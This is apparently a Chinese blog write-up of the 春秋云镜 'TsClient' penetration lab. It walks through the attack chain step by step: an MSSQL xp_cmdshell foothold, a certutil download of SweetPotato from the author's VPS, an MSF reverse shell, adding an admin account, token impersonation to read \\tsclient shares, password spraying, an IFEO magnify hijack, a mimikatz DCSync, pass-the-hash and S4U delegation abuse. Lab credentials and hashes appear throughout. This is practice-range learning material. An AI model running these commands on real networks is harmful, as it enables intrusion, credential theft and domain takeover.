春秋云镜 Tsclient

春秋云镜 TsClient writeup

学习一下如何打内网渗透

基本上是对着多个wp操作的,在过程中理解知识并且实际操作一次比纸上谈兵要好

而且能够找到自己最舒服的操作,比如本人全过程使用windows环境(bloodhound什么的没学到,后面再说)

flag01

fscan扫ip

[*] NetInfo:
[*]39.99.141.107
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:4f2:1ea1:d89c:7294
[+] mssql:39.99.141.107:1433:sa 1qaz!QAZ

发现mssql数据库的密码

使用MDUT进行利用

第一次要激活xp_cmdshell组件才能执行命令

image-20241128013136601

然后考虑potato提权

用的是http://github.com/uknowsec/SweetPotato的土豆

certutil -urlcache -split -f http://vps:8000/SweetPotato.exe C:\windows\temp\SweetPotato.exe

可以下载到两处地方

C:\windows\temp\
C:\Users\public\

然后上传msf的反弹shell,利用system权限去执行

我使用frp端口转发到本地

msf拿到shell后在C:\Users\Administrator\flag下找到flag01.txt

type flag01.txt
 _________  ________  ________  ___       ___  _______   ________   _________
|\___   ___\\   ____\|\   ____\|\  \     |\  \|\  ___ \ |\   ___  \|\___   ___\
\|___ \  \_\ \  \___|\ \  \___|\ \  \    \ \  \ \   __/|\ \  \\ \  \|___ \  \_|
     \ \  \ \ \_____  \ \  \    \ \  \    \ \  \ \  \_|/_\ \  \\ \  \   \ \  \
      \ \  \ \|____|\  \ \  \____\ \  \____\ \  \ \  \_|\ \ \  \\ \  \   \ \  \
       \ \__\  ____\_\  \ \_______\ \_______\ \__\ \_______\ \__\\ \__\   \ \__\
        \|__| |\_________\|_______|\|_______|\|__|\|_______|\|__| \|__|    \|__|
              \|_________|


Getting flag01 is easy, right?

flag01: flag{xxxxxxxxxxxxxxxxxxxxxxxxxxx}


Maybe you should focus on user sessions...

flag02

上传一个fscan,然后扫内网

fscan -h 172.22.8.0/24

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.8.18     is alive
(icmp) Target 172.22.8.31     is alive
(icmp) Target 172.22.8.15     is alive
(icmp) Target 172.22.8.46     is alive
[*] Icmp alive hosts len is: 4
172.22.8.46:445 open
172.22.8.18:1433 open
172.22.8.15:445 open
172.22.8.15:135 open
172.22.8.31:135 open
172.22.8.18:135 open
172.22.8.46:80 open
172.22.8.31:445 open
172.22.8.18:80 open
172.22.8.18:445 open
172.22.8.15:88 open
172.22.8.46:139 open
172.22.8.18:139 open
172.22.8.15:139 open
172.22.8.31:139 open
172.22.8.46:135 open
[*] alive ports len is: 16
start vulscan
[*] WebTitle: http://172.22.8.18        code:200 len:703    title:IIS Windows Server
[*] NetInfo:
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[*] NetInfo:
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
[*] NetInfo:
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
[*] NetBios: 172.22.8.31     XIAORANG\WIN19-CLIENT
[*] NetInfo:
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:1040:23f4:d89d:8c02
[*] NetBios: 172.22.8.15     [+]DC XIAORANG\DC01
[*] NetBios: 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.8.46        code:200 len:703    title:IIS Windows Server
[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ

一共四个机子

172.22.8.15 XIAORANG\DC01 # 域控
172.22.8.31 XIAORANG\WIN19-CLIENT
172.22.8.46 WIN2016.xiaorang.lab
172.22.8.18 WIN-WEB # 本机

根据flag01后面的提示,关注用户会话

创建一个管理员账户RDP过去查看一下用户会话有什么

net user zeropeach whoami@666 /add
net localgroup administrators zeropeach /add

image-20241128014935798

query user
query session

quser || qwinst

都可以发现john用户正在被rdp

image-20241128015130405

是被内网的 172.22.8.31 XIAORANG\WIN19-CLIENT 上连过来的

image-20241128015205523

看X1r0z大佬的wp

利用 mstsc 反向攻击思路整理 (qq.com)

tsclient 是通过远程桌面连接到远程计算机时,在远程计算机“网上邻居”中出现的一个机器名

通过\\tsclient\盘符可以在远程计算机上访问本机

只有特定用户才能访问,所以我们需要模拟john用户,去访问共享文件夹

模拟方式一

X1r0z大佬提到

无论使用 cs 自带的 make token 还是 msf 的 incognito, 还是 SharpToken, 执行 dir \\tsclient\c 都显示拒绝访问, 很怪

确实是这样的,我使用msf的incognito

load incognito

#查看当前目标主机的域环境信息
list_tokens -u

#模拟令牌
impersonate_token 'WIN-WEB\John'

之后就什么命令都用不了了

解决方法是psexec连过去再上线msf

python psexec.py -hashes :2caf35bb4c5059a3d50599844e2b9b1f administrator@172.22.8.18

使用上面的操作即可模拟john用户

模拟方式二

可以使用cs,cs能够进程注入john用户

继续

shell执行whoami发现是WIN-WEB\John就成功了

然后就可以dir \\tsclient\c访问了

发现txt文件

image-20241128020837467

有用户名和密码,进行密码喷洒

我使用的是win版的crackmapexec,不能输入smb,否则用法不对,而且结果好像和别人的有些不同

D:\CTF-tool\shentou\crackmapexec>crackmapexec -u Aldrich -p "Ald@rLMWuy7Z!#" -d xiaorang.lab 172.22.8.18/24
11-27-2024 21:31:05 [*] 172.22.8.15:445 is running Windows 10.0 Build 20348 (name:DC01) (domain:xiaorang.lab)
11-27-2024 21:31:05 [*] 172.22.8.31:445 is running Windows 10.0 Build 17763 (name:WIN19-CLIENT) (domain:xiaorang.lab)
11-27-2024 21:31:06 [*] 172.22.8.18:445 is running Windows 10.0 Build 14393 (name:WIN-WEB) (domain:xiaorang.lab)
11-27-2024 21:31:06 [*] 172.22.8.46:445 is running Windows 10.0 Build 14393 (name:WIN2016) (domain:xiaorang.lab)
11-27-2024 21:31:06 [-] 172.22.8.15:445 xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# SMB SessionError: STATUS_PASSWORD_EXPIRED(The user account password has expired.)
11-27-2024 21:31:06 [-] 172.22.8.31:445 NetBIOS Error: ('Error while reading from remote', 255, None)
11-27-2024 21:31:06 [-] 172.22.8.18:445 NetBIOS Error: ('Error while reading from remote', 255, None)
11-27-2024 21:31:06 [-] 172.22.8.46:445 NetBIOS Error: ('Error while reading from remote', 255, None)

别人的三台机子都是STATUS_PASSWORD_EXPIRED,提示密码过期

密码修改方式一

使用rdesktop,能够点击进行更改

密码修改方式二

使用smbpasswd.py

python smbpasswd.py xiaorang.lab/Aldrich:"Ald@rLMWuy7Z!#"@172.22.8.15 -newpass 'csy666zz!'

image-20241128022031081

继续

修改密码后,只能够rdp登录172.22.8.46,其他的不在Remote Desktop Users 用户组内

然后就可以做一下bloodhound信息收集

image-20241128022309005

然后考虑一下提权,在共享文件夹的txt中提到提示

Do you know how to hijack Image?

可以知道是IFEO劫持

使用powershell执行命令

get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

image-20241128022709399

发现NT AUTHORITY\Authenticated Users可以修改注册表
即所有账号密码登录的用户都可以修改注册表,利用这个性质,修改注册表,使用放大镜进行提权!

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

其实也就是把本来用户主页点放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe

image-20241128022903651

flag03

根据bloodhound信息收集的结果,发现WIN2016$为域管用户,后面就要用WIN2016$去dump域管哈希了

别人都是用CS的shell自带mimikatz

我想要上传文件可以利用上面的tsclient,

image-20241128023505772

然后机子就能访问想要共享的磁盘了

把文件复制出来

使用上面system权限的cmd来执行

mimikatz

> log
> privilege::debug
> lsadump::dcsync /domain /all /csv

image-20241128023944712

然后pass the hash即可

python psexec.py -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 xiaorang.lab/administra
tor@172.22.8.15 -codec gbk

image-20241128024048620

其他

X1r0z大佬提到查询域委派

查询域委派关系

$ proxychains findDelegation.py xiaorang.lab/Aldrich:'P@ssw0rd' -dc-ip 172.22.8.15 -target-domain xiaorang.lab

Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

AccountName    AccountType  DelegationType                      DelegationRightsTo
-------------  -----------  ----------------------------------  --------------------------------------------------
WIN2016$       Computer     Constrained w/ Protocol Transition  ldap/DC01.xiaorang.lab/xiaorang.lab
WIN2016$       Computer     Constrained w/ Protocol Transition  ldap/DC01.xiaorang.lab
WIN2016$       Computer     Constrained w/ Protocol Transition  ldap/DC01
WIN2016$       Computer     Constrained w/ Protocol Transition  ldap/DC01.xiaorang.lab/XIAORANG
WIN2016$       Computer     Constrained w/ Protocol Transition  ldap/DC01/XIAORANG
WIN2016$       Computer     Constrained w/ Protocol Transition  ldap/DC01.xiaorang.lab/DomainDnsZones.xiaorang.lab
WIN2016$       Computer     Constrained w/ Protocol Transition  ldap/DC01.xiaorang.lab/ForestDnsZones.xiaorang.lab
WIN19-CLIENT$  Computer     Constrained w/ Protocol Transition  cifs/WIN2016.xiaorang.lab
WIN19-CLIENT$  Computer     Constrained w/ Protocol Transition  cifs/WIN2016

存在从 WIN2016$DC01 的约束委派, 并且委派的是 LDAP 服务

利用 S4U 协议请求 ST 伪造 Administrator 用户

proxychains getST.py xiaorang.lab/WIN2016\$ -hashes :02b2a436556a3dd5d6638ad03f87c43e -dc-ip 172.22.8.15 -spn ldap/DC01.xiaorang.lab -impersonate administrator

本来的思路是想利用票据进行 DCSync 导出域管 Hash 之后再去 psexec 的 (因为委派的是 LDAP 服务),

finally

开了三次机子,每一次都是因为工具问题或者是代理问题导致耗了很长时间,没沙砾了。。。。

这里感谢unknown师傅的沙砾支持,嘻嘻 : (


春秋云镜 Tsclient
https://zer0peach.github.io/2024/11/28/春秋云镜-Tsclient/
作者
Zer0peach
发布于
2024年11月28日
许可协议